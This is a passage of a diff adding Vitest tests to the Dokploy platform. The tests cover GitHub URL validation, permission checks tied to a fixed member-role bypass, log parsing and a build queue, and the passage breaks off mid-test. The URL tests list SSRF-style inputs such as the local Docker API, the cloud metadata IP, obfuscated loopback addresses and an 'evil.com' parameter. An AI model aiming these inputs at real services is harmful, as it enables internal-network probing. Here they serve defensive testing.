const mockValidateRequest = vi.hoisted(() => vi.fn());
|
||||
const mockHasPermission = vi.hoisted(() => vi.fn());
|
||||
const mockCreateGithub = vi.hoisted(() => vi.fn());
|
||||
const mockOctokitRequest = vi.hoisted(() => vi.fn());
|
||||
|
||||
vi.mock("@dokploy/server", async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import("@dokploy/server")>();
|
||||
return {
|
||||
...actual,
|
||||
validateRequest: mockValidateRequest,
|
||||
createGithub: mockCreateGithub,
|
||||
};
|
||||
});
|
||||
|
||||
vi.mock("@dokploy/server/services/permission", () => ({
|
||||
hasPermission: mockHasPermission,
|
||||
}));
|
||||
|
||||
vi.mock("octokit", () => ({
|
||||
Octokit: class {
|
||||
request = mockOctokitRequest;
|
||||
},
|
||||
}));
|
||||
|
||||
const { default: handler } = await import("@/pages/api/providers/github/setup");
|
||||
|
||||
const ORG = "org-1";
|
||||
const USER = "user-1";
|
||||
|
||||
const buildRes = () => {
|
||||
const res = {
|
||||
statusCode: 0,
|
||||
body: undefined as unknown,
|
||||
redirectedTo: undefined as string | undefined,
|
||||
status(code: number) {
|
||||
res.statusCode = code;
|
||||
return res;
|
||||
},
|
||||
json(payload: unknown) {
|
||||
res.body = payload;
|
||||
return res;
|
||||
},
|
||||
redirect(_code: number, url: string) {
|
||||
res.redirectedTo = url;
|
||||
return res;
|
||||
},
|
||||
};
|
||||
return res;
|
||||
};
|
||||
|
||||
const call = async (githubUrl?: string | string[]) => {
|
||||
const res = buildRes();
|
||||
const req = {
|
||||
query: {
|
||||
code: "manifest-code",
|
||||
state: `gh_init:${ORG}:${USER}`,
|
||||
...(githubUrl === undefined ? {} : { githubUrl }),
|
||||
},
|
||||
headers: {},
|
||||
} as unknown as Parameters<typeof handler>[0];
|
||||
|
||||
await handler(req, res as unknown as Parameters<typeof handler>[1]);
|
||||
return res;
|
||||
};
|
||||
|
||||
describe("github setup handler — host validation", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mockValidateRequest.mockResolvedValue({
|
||||
user: { id: USER },
|
||||
session: { activeOrganizationId: ORG },
|
||||
});
|
||||
mockHasPermission.mockResolvedValue(true);
|
||||
mockOctokitRequest.mockResolvedValue({
|
||||
data: {
|
||||
name: "Dokploy",
|
||||
html_url: "https://acme.ghe.com/apps/dokploy",
|
||||
id: 1,
|
||||
client_id: "cid",
|
||||
client_secret: "csecret",
|
||||
webhook_secret: "wsecret",
|
||||
pem: "key",
|
||||
},
|
||||
});
|
||||
mockCreateGithub.mockResolvedValue(undefined);
|
||||
});
|
||||
|
||||
it.each([
|
||||
["http://acme.ghe.com", "plaintext http"],
|
||||
["http://localhost:2375", "internal service over http"],
|
||||
["https://metadata", "dotless hostname"],
|
||||
["htps://acme.ghe.com", "scheme typo"],
|
||||
])("rejects %s (%s) with 400 and no outbound request", async (githubUrl) => {
|
||||
const res = await call(githubUrl);
|
||||
|
||||
expect(res.statusCode).toBe(400);
|
||||
expect(mockOctokitRequest).not.toHaveBeenCalled();
|
||||
expect(mockCreateGithub).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("throws on a repeated parameter instead of silently picking one", async () => {
|
||||
// ?githubUrl=a&githubUrl=b reaches .trim() on an array.
|
||||
await expect(
|
||||
call(["https://acme.ghe.com", "https://evil.com"]),
|
||||
).rejects.toThrow();
|
||||
|
||||
expect(mockCreateGithub).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("accepts a data residency tenant", async () => {
|
||||
await call("https://acme.ghe.com");
|
||||
|
||||
expect(mockCreateGithub).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ githubUrl: "https://acme.ghe.com" }),
|
||||
ORG,
|
||||
USER,
|
||||
);
|
||||
});
|
||||
|
||||
it("accepts a self-hosted Enterprise Server host", async () => {
|
||||
await call("https://github.corp.acme.com");
|
||||
|
||||
expect(mockCreateGithub).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ githubUrl: "https://github.corp.acme.com" }),
|
||||
ORG,
|
||||
USER,
|
||||
);
|
||||
});
|
||||
|
||||
it("treats an absent parameter as github.com", async () => {
|
||||
await call(undefined);
|
||||
|
||||
expect(mockCreateGithub).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ githubUrl: "https://github.com" }),
|
||||
ORG,
|
||||
USER,
|
||||
);
|
||||
});
|
||||
});
|
||||
75
apps/dokploy/__test__/git-provider/github-url-parity.test.ts
Normal file
75
apps/dokploy/__test__/git-provider/github-url-parity.test.ts
Normal file
@ -0,0 +1,75 @@
|
||||
import { parseGithubBaseUrl } from "@dokploy/server/utils/providers/github";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { DEFAULT_GITHUB_URL, resolveGithubBaseUrl } from "@/utils/github-utils";
|
||||
|
||||
/**
|
||||
* The client cannot import from @dokploy/server (node-only modules), so
|
||||
* resolveGithubBaseUrl duplicates parseGithubBaseUrl. Nothing but this file
|
||||
* stops the two from drifting apart — and they already did once, when the
|
||||
* client stripped trailing slashes but not paths and the form action disagreed
|
||||
* with the persisted row.
|
||||
*
|
||||
* The invariant: for the same input, both must make the same accept/reject
|
||||
* decision, and agree on the URL when they accept.
|
||||
*/
|
||||
const INPUTS = [
|
||||
// Accepted
|
||||
"https://github.com",
|
||||
"github.com",
|
||||
"https://acme.ghe.com",
|
||||
"acme.ghe.com",
|
||||
"https://github.corp.acme.com",
|
||||
"https://github.acme.com:8443",
|
||||
"https://acme.ghe.com/",
|
||||
"https://acme.ghe.com///",
|
||||
"https://acme.ghe.com/enterprises/foo",
|
||||
"https://acme.ghe.com/some/path?x=1",
|
||||
" acme.ghe.com ",
|
||||
"https://acme.ghe.com.",
|
||||
"https://169.254.169.254",
|
||||
"https://127.0.0.1",
|
||||
"https://2130706433",
|
||||
"https://0x7f.1",
|
||||
"",
|
||||
" ",
|
||||
// Rejected
|
||||
"http://acme.ghe.com",
|
||||
"http://localhost:2375",
|
||||
"https://[::1]",
|
||||
"https://[::ffff:127.0.0.1]",
|
||||
"https://metadata",
|
||||
"https://metadata.",
|
||||
"https://localhost",
|
||||
"https://localhost.",
|
||||
"htps://acme.ghe.com",
|
||||
"ftp://acme.ghe.com",
|
||||
"https://",
|
||||
"acme .ghe.com",
|
||||
"esto no es una url",
|
||||
];
|
||||
|
||||
describe("client and server agree on GitHub base URLs", () => {
|
||||
it.each(INPUTS)("%j", (input) => {
|
||||
const client = resolveGithubBaseUrl(input);
|
||||
const server = parseGithubBaseUrl(input);
|
||||
|
||||
const clientAccepted = !client.error;
|
||||
const serverAccepted = "url" in server;
|
||||
|
||||
expect(
|
||||
clientAccepted,
|
||||
`accept/reject differs for ${JSON.stringify(input)}`,
|
||||
).toBe(serverAccepted);
|
||||
|
||||
if (clientAccepted && "url" in server) {
|
||||
expect(client.baseUrl, `resolved URL differs for ${input}`).toBe(
|
||||
server.url,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it("both treat an empty value as github.com", () => {
|
||||
expect(resolveGithubBaseUrl("").baseUrl).toBe(DEFAULT_GITHUB_URL);
|
||||
expect(parseGithubBaseUrl("")).toEqual({ url: DEFAULT_GITHUB_URL });
|
||||
});
|
||||
});
|
||||
41
apps/dokploy/__test__/logs/container-selection.test.ts
Normal file
41
apps/dokploy/__test__/logs/container-selection.test.ts
Normal file
@ -0,0 +1,41 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { resolveContainerSelection } from "@/components/dashboard/docker/logs/utils";
|
||||
|
||||
const containers = [
|
||||
{ containerId: "first-container" },
|
||||
{ containerId: "selected-container" },
|
||||
];
|
||||
|
||||
describe("resolveContainerSelection", () => {
|
||||
it("selects the first container when no container is selected", () => {
|
||||
expect(resolveContainerSelection(undefined, containers)).toBe(
|
||||
"first-container",
|
||||
);
|
||||
});
|
||||
|
||||
it("preserves a manual selection when refreshed data contains it", () => {
|
||||
const refreshedContainers = containers.map((container) => ({
|
||||
...container,
|
||||
}));
|
||||
|
||||
expect(
|
||||
resolveContainerSelection("selected-container", refreshedContainers),
|
||||
).toBe("selected-container");
|
||||
});
|
||||
|
||||
it("falls back to the first container when the selection disappears", () => {
|
||||
expect(resolveContainerSelection("removed-container", containers)).toBe(
|
||||
"first-container",
|
||||
);
|
||||
});
|
||||
|
||||
it("keeps the current selection while container data is loading", () => {
|
||||
expect(resolveContainerSelection("selected-container", undefined)).toBe(
|
||||
"selected-container",
|
||||
);
|
||||
});
|
||||
|
||||
it("clears the selection when no containers are available", () => {
|
||||
expect(resolveContainerSelection("selected-container", [])).toBeUndefined();
|
||||
});
|
||||
});
|
||||
42
apps/dokploy/__test__/logs/log-classification.test.ts
Normal file
42
apps/dokploy/__test__/logs/log-classification.test.ts
Normal file
@ -0,0 +1,42 @@
|
||||
import { getLogType } from "@/components/dashboard/docker/logs/utils";
|
||||
import { expect, test } from "vitest";
|
||||
|
||||
test("classifies real failures as error", () => {
|
||||
expect(getLogType("Error: connection refused at db:5432").type).toBe("error");
|
||||
expect(getLogType("[ERROR] something went wrong").type).toBe("error");
|
||||
expect(getLogType("Deployment failed").type).toBe("error");
|
||||
expect(
|
||||
getLogType(
|
||||
'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326ms", failed: true, skipped: false, error: exit code 1',
|
||||
).type,
|
||||
).toBe("error");
|
||||
});
|
||||
|
||||
test("does not classify explicit non-error key/values as error (#4538)", () => {
|
||||
// ofelia job-completion summary for a successful run
|
||||
expect(
|
||||
getLogType(
|
||||
'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326.16795ms", failed: false, skipped: false, error: none',
|
||||
).type,
|
||||
).not.toBe("error");
|
||||
|
||||
expect(getLogType("request done, error: null").type).not.toBe("error");
|
||||
expect(getLogType("checks passed, failures=0").type).not.toBe("error");
|
||||
expect(getLogType('shutdown clean, error=""').type).not.toBe("error");
|
||||
expect(getLogType('job done failed=false error=""').type).not.toBe("error");
|
||||
});
|
||||
|
||||
test("keeps errors whose value merely starts with a no-error word", () => {
|
||||
expect(getLogType("connect failed: no route to host").type).toBe("error");
|
||||
expect(getLogType("connection failed: no such host").type).toBe("error");
|
||||
expect(
|
||||
getLogType("error: none of the configured nodes are available").type,
|
||||
).toBe("error");
|
||||
expect(getLogType("error: nil pointer dereference").type).toBe("error");
|
||||
expect(getLogType("request failed: 0 bytes received").type).toBe("error");
|
||||
});
|
||||
|
||||
test("keeps statusCode-based classification", () => {
|
||||
expect(getLogType('{"statusCode": "500"}').type).toBe("error");
|
||||
expect(getLogType('{"statusCode": "204"}').type).toBe("success");
|
||||
});
|
||||
@ -58,7 +58,7 @@ beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
describe("static roles bypass enterprise resources", () => {
|
||||
describe("owner and admin bypass enterprise resources", () => {
|
||||
it("owner bypasses deployment.read", async () => {
|
||||
memberToReturn = mockMemberData("owner");
|
||||
await expect(
|
||||
@ -73,15 +73,8 @@ describe("static roles bypass enterprise resources", () => {
|
||||
).resolves.toBeUndefined();
|
||||
});
|
||||
|
||||
it("member bypasses schedule.delete", async () => {
|
||||
memberToReturn = mockMemberData("member");
|
||||
await expect(
|
||||
checkPermission(ctx, { schedule: ["delete"] }),
|
||||
).resolves.toBeUndefined();
|
||||
});
|
||||
|
||||
it("member bypasses multiple enterprise permissions at once", async () => {
|
||||
memberToReturn = mockMemberData("member");
|
||||
it("owner bypasses multiple enterprise permissions at once", async () => {
|
||||
memberToReturn = mockMemberData("owner");
|
||||
await expect(
|
||||
checkPermission(ctx, {
|
||||
deployment: ["read"],
|
||||
@ -92,6 +85,62 @@ describe("static roles bypass enterprise resources", () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe("member is denied org-level enterprise resources (CVE: bypass via staticRoles)", () => {
|
||||
it("member is denied registry.read", async () => {
|
||||
memberToReturn = mockMemberData("member");
|
||||
await expect(
|
||||
checkPermission(ctx, { registry: ["read"] }),
|
||||
).rejects.toThrow();
|
||||
});
|
||||
|
||||
it("member is denied certificate.read", async () => {
|
||||
memberToReturn = mockMemberData("member");
|
||||
await expect(
|
||||
checkPermission(ctx, { certificate: ["read"] }),
|
||||
).rejects.toThrow();
|
||||
});
|
||||
|
||||
it("member is denied destination.read", async () => {
|
||||
memberToReturn = mockMemberData("member");
|
||||
await expect(
|
||||
checkPermission(ctx, { destination: ["read"] }),
|
||||
).rejects.toThrow();
|
||||
});
|
||||
|
||||
it("member is denied notification.read", async () => {
|
||||
memberToReturn = mockMemberData("member");
|
||||
await expect(
|
||||
checkPermission(ctx, { notification: ["read"] }),
|
||||
).rejects.toThrow();
|
||||
});
|
||||
|
||||
it("member is denied auditLog.read", async () => {
|
||||
memberToReturn = mockMemberData("member");
|
||||
await expect(
|
||||
checkPermission(ctx, { auditLog: ["read"] }),
|
||||
).rejects.toThrow();
|
||||
});
|
||||
|
||||
it("member is denied server.read", async () => {
|
||||
memberToReturn = mockMemberData("member");
|
||||
await expect(checkPermission(ctx, { server: ["read"] })).rejects.toThrow();
|
||||
});
|
||||
|
||||
it("member is denied server.terminal", async () => {
|
||||
memberToReturn = mockMemberData("member");
|
||||
await expect(
|
||||
checkPermission(ctx, { server: ["terminal"] }),
|
||||
).rejects.toThrow();
|
||||
});
|
||||
|
||||
it("member is denied registry.create", async () => {
|
||||
memberToReturn = mockMemberData("member");
|
||||
await expect(
|
||||
checkPermission(ctx, { registry: ["create"] }),
|
||||
).rejects.toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
describe("static roles validate free-tier resources", () => {
|
||||
it("owner passes project.create", async () => {
|
||||
memberToReturn = mockMemberData("owner");
|
||||
@ -141,4 +190,29 @@ describe("legacy boolean overrides for member", () => {
|
||||
memberToReturn = mockMemberData("member");
|
||||
await expect(checkPermission(ctx, { docker: ["read"] })).rejects.toThrow();
|
||||
});
|
||||
|
||||
it("member passes gitProviders.create with canAccessToGitProviders=true", async () => {
|
||||
memberToReturn = mockMemberData("member", {
|
||||
canAccessToGitProviders: true,
|
||||
});
|
||||
await expect(
|
||||
checkPermission(ctx, { gitProviders: ["create"] }),
|
||||
).resolves.toBeUndefined();
|
||||
});
|
||||
|
||||
it("member passes gitProviders.delete with canAccessToGitProviders=true", async () => {
|
||||
memberToReturn = mockMemberData("member", {
|
||||
canAccessToGitProviders: true,
|
||||
});
|
||||
await expect(
|
||||
checkPermission(ctx, { gitProviders: ["delete"] }),
|
||||
).resolves.toBeUndefined();
|
||||
});
|
||||
|
||||
it("member fails gitProviders.create with canAccessToGitProviders=false", async () => {
|
||||
memberToReturn = mockMemberData("member");
|
||||
await expect(
|
||||
checkPermission(ctx, { gitProviders: ["create"] }),
|
||||
).rejects.toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
@ -39,6 +39,8 @@ const ENTERPRISE_RESOURCES = [
|
||||
"logs",
|
||||
"monitoring",
|
||||
"auditLog",
|
||||
"vaultProvider",
|
||||
"dnsProvider",
|
||||
];
|
||||
|
||||
describe("enterpriseOnlyResources set", () => {
|
||||
|
||||
@ -105,6 +105,7 @@ describe("enterprise resources for static roles", () => {
|
||||
const perms = await resolvePermissions(ctx);
|
||||
|
||||
expect(perms.server.read).toBe(false);
|
||||
expect(perms.server.terminal).toBe(false);
|
||||
expect(perms.registry.read).toBe(false);
|
||||
expect(perms.certificate.read).toBe(false);
|
||||
expect(perms.destination.read).toBe(false);
|
||||
@ -143,6 +144,24 @@ describe("free-tier resources for member", () => {
|
||||
const perms = await resolvePermissions(ctx);
|
||||
expect(perms.docker.read).toBe(true);
|
||||
});
|
||||
|
||||
it("member gets gitProviders create/delete=false without legacy override", async () => {
|
||||
memberToReturn = mockMemberData("member");
|
||||
const perms = await resolvePermissions(ctx);
|
||||
expect(perms.gitProviders.read).toBe(false);
|
||||
expect(perms.gitProviders.create).toBe(false);
|
||||
expect(perms.gitProviders.delete).toBe(false);
|
||||
});
|
||||
|
||||
it("member gets gitProviders read/create/delete=true with canAccessToGitProviders", async () => {
|
||||
memberToReturn = mockMemberData("member", {
|
||||
canAccessToGitProviders: true,
|
||||
});
|
||||
const perms = await resolvePermissions(ctx);
|
||||
expect(perms.gitProviders.read).toBe(true);
|
||||
expect(perms.gitProviders.create).toBe(true);
|
||||
expect(perms.gitProviders.delete).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("free-tier resources for owner", () => {
|
||||
|
||||
105
apps/dokploy/__test__/permissions/server-terminal.test.ts
Normal file
105
apps/dokploy/__test__/permissions/server-terminal.test.ts
Normal file
@ -0,0 +1,105 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mockMemberData = (role: string) => ({
|
||||
id: "member-1",
|
||||
role,
|
||||
userId: "user-1",
|
||||
organizationId: "org-1",
|
||||
accessedProjects: [] as string[],
|
||||
accessedServices: [] as string[],
|
||||
accessedEnvironments: [] as string[],
|
||||
accessedServers: [] as string[],
|
||||
canCreateProjects: false,
|
||||
canDeleteProjects: false,
|
||||
canCreateServices: false,
|
||||
canDeleteServices: false,
|
||||
canCreateEnvironments: false,
|
||||
canDeleteEnvironments: false,
|
||||
canAccessToTraefikFiles: false,
|
||||
canAccessToDocker: false,
|
||||
canAccessToAPI: false,
|
||||
canAccessToSSHKeys: false,
|
||||
canAccessToGitProviders: false,
|
||||
user: { id: "user-1", email: "test@test.com" },
|
||||
});
|
||||
|
||||
let memberToReturn = mockMemberData("deployer");
|
||||
let rolesToReturn: { permission: string }[] = [];
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
query: {
|
||||
member: {
|
||||
findFirst: vi.fn(() => Promise.resolve(memberToReturn)),
|
||||
findMany: vi.fn(() => Promise.resolve([])),
|
||||
},
|
||||
organizationRole: {
|
||||
findFirst: vi.fn(),
|
||||
findMany: vi.fn(() => Promise.resolve(rolesToReturn)),
|
||||
},
|
||||
},
|
||||
},
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
|
||||
hasValidLicense: vi.fn(() => Promise.resolve(true)),
|
||||
}));
|
||||
|
||||
const { checkPermission, resolvePermissions } = await import(
|
||||
"@dokploy/server/services/permission"
|
||||
);
|
||||
|
||||
const ctx = {
|
||||
user: { id: "user-1" },
|
||||
session: { activeOrganizationId: "org-1" },
|
||||
};
|
||||
|
||||
const withPermissions = (permissions: Record<string, string[]>) => {
|
||||
rolesToReturn = [{ permission: JSON.stringify(permissions) }];
|
||||
};
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
memberToReturn = mockMemberData("deployer");
|
||||
rolesToReturn = [];
|
||||
});
|
||||
|
||||
describe("server.terminal on custom roles", () => {
|
||||
it("a role with server.read alone cannot open a terminal", async () => {
|
||||
withPermissions({ server: ["read"] });
|
||||
|
||||
await expect(
|
||||
checkPermission(ctx, { server: ["read"] }),
|
||||
).resolves.toBeUndefined();
|
||||
await expect(
|
||||
checkPermission(ctx, { server: ["terminal"] }),
|
||||
).rejects.toThrow();
|
||||
|
||||
const perms = await resolvePermissions(ctx);
|
||||
expect(perms.server.read).toBe(true);
|
||||
expect(perms.server.terminal).toBe(false);
|
||||
});
|
||||
|
||||
it("a role with server.terminal can open a terminal", async () => {
|
||||
withPermissions({ server: ["read", "terminal"] });
|
||||
|
||||
await expect(
|
||||
checkPermission(ctx, { server: ["terminal"] }),
|
||||
).resolves.toBeUndefined();
|
||||
|
||||
const perms = await resolvePermissions(ctx);
|
||||
expect(perms.server.terminal).toBe(true);
|
||||
});
|
||||
|
||||
it("owner and admin keep terminal access", async () => {
|
||||
for (const role of ["owner", "admin"]) {
|
||||
memberToReturn = mockMemberData(role);
|
||||
await expect(
|
||||
checkPermission(ctx, { server: ["terminal"] }),
|
||||
).resolves.toBeUndefined();
|
||||
|
||||
const perms = await resolvePermissions(ctx);
|
||||
expect(perms.server.terminal).toBe(true);
|
||||
}
|
||||
});
|
||||
});
|
||||
81
apps/dokploy/__test__/queues/concurrency.test.ts
Normal file
81
apps/dokploy/__test__/queues/concurrency.test.ts
Normal file
@ -0,0 +1,81 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const getWebServerSettings = vi.fn();
|
||||
const findFirstServer = vi.fn();
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
query: {
|
||||
server: {
|
||||
findFirst: (...args: unknown[]) => findFirstServer(...args),
|
||||
},
|
||||
},
|
||||
},
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/db/schema", () => ({
|
||||
server: {},
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/services/web-server-settings", () => ({
|
||||
getWebServerSettings: (...args: unknown[]) => getWebServerSettings(...args),
|
||||
}));
|
||||
|
||||
vi.mock("drizzle-orm", () => ({ eq: vi.fn() }));
|
||||
|
||||
import { resolveBuildsConcurrency } from "../../server/queues/concurrency";
|
||||
import { LOCAL_PARTITION } from "../../server/queues/in-memory-queue";
|
||||
|
||||
describe("resolveBuildsConcurrency", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
describe("local web server partition", () => {
|
||||
it("returns the configured concurrency", async () => {
|
||||
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 5 });
|
||||
|
||||
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(5);
|
||||
});
|
||||
|
||||
it("does not cap high values", async () => {
|
||||
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 999 });
|
||||
|
||||
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(
|
||||
999,
|
||||
);
|
||||
});
|
||||
|
||||
it("floors values below 1 to 1", async () => {
|
||||
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 0 });
|
||||
|
||||
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
|
||||
});
|
||||
|
||||
it("defaults to 1 when settings are missing", async () => {
|
||||
getWebServerSettings.mockResolvedValue(undefined);
|
||||
|
||||
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
|
||||
});
|
||||
});
|
||||
|
||||
describe("remote server partition", () => {
|
||||
it("returns the server concurrency", async () => {
|
||||
findFirstServer.mockResolvedValue({ buildsConcurrency: 4 });
|
||||
|
||||
await expect(resolveBuildsConcurrency("server-1")).resolves.toBe(4);
|
||||
});
|
||||
|
||||
it("defaults to 1 for an unknown server", async () => {
|
||||
findFirstServer.mockResolvedValue(undefined);
|
||||
|
||||
await expect(resolveBuildsConcurrency("ghost")).resolves.toBe(1);
|
||||
});
|
||||
});
|
||||
|
||||
it("falls back to 1 if resolution throws", async () => {
|
||||
getWebServerSettings.mockRejectedValue(new Error("db down"));
|
||||
|
||||
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
|
||||
});
|
||||
});
|
||||
337
apps/dokploy/__test__/queues/in-memory-queue.test.ts
Normal file
337
apps/dokploy/__test__/queues/in-memory-queue.test.ts
Normal file
@ -0,0 +1,337 @@
|
||||
import { beforeEach, describe, expect, it } from "vitest";
|
||||
import {
|
||||
getGroup,
|
||||
getPartition,
|
||||
InMemoryQueue,
|
||||
LOCAL_PARTITION,
|
||||
} from "../../server/queues/in-memory-queue";
|
||||
import type { DeploymentJob } from "../../server/queues/queue-types";
|
||||
|
||||
const appJob = (applicationId: string, serverId?: string): DeploymentJob => ({
|
||||
applicationId,
|
||||
titleLog: "deploy",
|
||||
descriptionLog: "",
|
||||
type: "deploy",
|
||||
applicationType: "application",
|
||||
serverId,
|
||||
});
|
||||
|
||||
const composeJob = (composeId: string, serverId?: string): DeploymentJob => ({
|
||||
composeId,
|
||||
titleLog: "deploy",
|
||||
descriptionLog: "",
|
||||
type: "deploy",
|
||||
applicationType: "compose",
|
||||
serverId,
|
||||
});
|
||||
|
||||
/** A controllable async task: resolves only when `release()` is called. */
|
||||
const deferred = () => {
|
||||
let resolve!: () => void;
|
||||
const promise = new Promise<void>((r) => {
|
||||
resolve = r;
|
||||
});
|
||||
return { promise, release: resolve };
|
||||
};
|
||||
|
||||
const flush = () => new Promise((r) => setTimeout(r, 0));
|
||||
|
||||
describe("getPartition / getGroup", () => {
|
||||
it("partitions by serverId, falling back to the local partition", () => {
|
||||
expect(getPartition(appJob("a"))).toBe(LOCAL_PARTITION);
|
||||
expect(getPartition(appJob("a", "server-1"))).toBe("server-1");
|
||||
});
|
||||
|
||||
it("groups applications and compose by their id", () => {
|
||||
expect(getGroup(appJob("a"))).toBe("application:a");
|
||||
expect(getGroup(composeJob("c"))).toBe("compose:c");
|
||||
});
|
||||
});
|
||||
|
||||
describe("InMemoryQueue concurrency", () => {
|
||||
let nowValue = 0;
|
||||
const now = () => ++nowValue;
|
||||
|
||||
beforeEach(() => {
|
||||
nowValue = 0;
|
||||
});
|
||||
|
||||
it("runs different applications concurrently up to the limit", async () => {
|
||||
const tasks = new Map<string, ReturnType<typeof deferred>>();
|
||||
const started: string[] = [];
|
||||
|
||||
const queue = new InMemoryQueue({ resolveConcurrency: () => 2, now });
|
||||
queue.process(async (job) => {
|
||||
const id = (job.data as any).applicationId;
|
||||
started.push(id);
|
||||
const d = deferred();
|
||||
tasks.set(id, d);
|
||||
await d.promise;
|
||||
});
|
||||
await queue.run();
|
||||
|
||||
await queue.add(appJob("a"));
|
||||
await queue.add(appJob("b"));
|
||||
await queue.add(appJob("c"));
|
||||
await flush();
|
||||
|
||||
// Concurrency 2 -> only a and b start, c waits.
|
||||
expect(started).toEqual(["a", "b"]);
|
||||
|
||||
tasks.get("a")!.release();
|
||||
await flush();
|
||||
|
||||
// A slot freed -> c starts.
|
||||
expect(started).toEqual(["a", "b", "c"]);
|
||||
});
|
||||
|
||||
it("serializes jobs of the same application (per-group FIFO)", async () => {
|
||||
const tasks: Array<ReturnType<typeof deferred>> = [];
|
||||
const started: number[] = [];
|
||||
let counter = 0;
|
||||
|
||||
const queue = new InMemoryQueue({ resolveConcurrency: () => 5, now });
|
||||
queue.process(async () => {
|
||||
started.push(++counter);
|
||||
const d = deferred();
|
||||
tasks.push(d);
|
||||
await d.promise;
|
||||
});
|
||||
await queue.run();
|
||||
|
||||
// Two deploys of the SAME app, even with concurrency 5.
|
||||
await queue.add(appJob("same"));
|
||||
await queue.add(appJob("same"));
|
||||
await flush();
|
||||
|
||||
// Only the first one runs; the second waits for the group to free.
|
||||
expect(started).toEqual([1]);
|
||||
|
||||
tasks[0]!.release();
|
||||
await flush();
|
||||
|
||||
expect(started).toEqual([1, 2]);
|
||||
});
|
||||
|
||||
it("isolates concurrency per server partition", async () => {
|
||||
const started: string[] = [];
|
||||
const tasks = new Map<string, ReturnType<typeof deferred>>();
|
||||
|
||||
// server-1 allows 1, server-2 allows 1, but they are independent.
|
||||
const queue = new InMemoryQueue({
|
||||
resolveConcurrency: () => 1,
|
||||
now,
|
||||
});
|
||||
queue.process(async (job) => {
|
||||
const id = `${job.data.serverId}:${(job.data as any).applicationId}`;
|
||||
started.push(id);
|
||||
const d = deferred();
|
||||
tasks.set(id, d);
|
||||
await d.promise;
|
||||
});
|
||||
await queue.run();
|
||||
|
||||
await queue.add(appJob("a", "server-1"));
|
||||
await queue.add(appJob("b", "server-2"));
|
||||
await flush();
|
||||
|
||||
// One per partition runs in parallel despite concurrency 1 each.
|
||||
expect(started.sort()).toEqual(["server-1:a", "server-2:b"]);
|
||||
});
|
||||
|
||||
it("honors a different concurrency per server", async () => {
|
||||
const started: string[] = [];
|
||||
const tasks = new Map<string, ReturnType<typeof deferred>>();
|
||||
|
||||
// server-fast allows 2, server-slow allows 1.
|
||||
const queue = new InMemoryQueue({
|
||||
resolveConcurrency: (partition) => (partition === "server-fast" ? 2 : 1),
|
||||
now,
|
||||
});
|
||||
queue.process(async (job) => {
|
||||
const id = `${job.data.serverId}:${(job.data as any).applicationId}`;
|
||||
started.push(id);
|
||||
const d = deferred();
|
||||
tasks.set(id, d);
|
||||
await d.promise;
|
||||
});
|
||||
await queue.run();
|
||||
|
||||
await queue.add(appJob("a", "server-fast"));
|
||||
await queue.add(appJob("b", "server-fast"));
|
||||
await queue.add(appJob("c", "server-slow"));
|
||||
await queue.add(appJob("d", "server-slow"));
|
||||
await flush();
|
||||
|
||||
// server-fast runs 2 in parallel; server-slow only 1.
|
||||
expect(started.sort()).toEqual([
|
||||
"server-fast:a",
|
||||
"server-fast:b",
|
||||
"server-slow:c",
|
||||
]);
|
||||
|
||||
// Free a server-slow slot -> its queued app starts.
|
||||
tasks.get("server-slow:c")!.release();
|
||||
await flush();
|
||||
expect(started).toContain("server-slow:d");
|
||||
});
|
||||
|
||||
it("serializes the same app on a server even with spare concurrency", async () => {
|
||||
const started: number[] = [];
|
||||
const tasks: Array<ReturnType<typeof deferred>> = [];
|
||||
let counter = 0;
|
||||
|
||||
// Plenty of room (concurrency 2) but two deploys of the SAME app.
|
||||
const queue = new InMemoryQueue({ resolveConcurrency: () => 2, now });
|
||||
queue.process(async () => {
|
||||
started.push(++counter);
|
||||
const d = deferred();
|
||||
tasks.push(d);
|
||||
await d.promise;
|
||||
});
|
||||
await queue.run();
|
||||
|
||||
await queue.add(appJob("app-x", "server-1"));
|
||||
await queue.add(appJob("app-x", "server-1"));
|
||||
await flush();
|
||||
|
||||
// Only one build of app-x runs despite 2 free slots.
|
||||
expect(started).toEqual([1]);
|
||||
|
||||
tasks[0]!.release();
|
||||
await flush();
|
||||
expect(started).toEqual([1, 2]);
|
||||
});
|
||||
|
||||
it("clamps concurrency below 1 up to 1 (license-disabled behaviour)", async () => {
|
||||
const started: string[] = [];
|
||||
const tasks = new Map<string, ReturnType<typeof deferred>>();
|
||||
|
||||
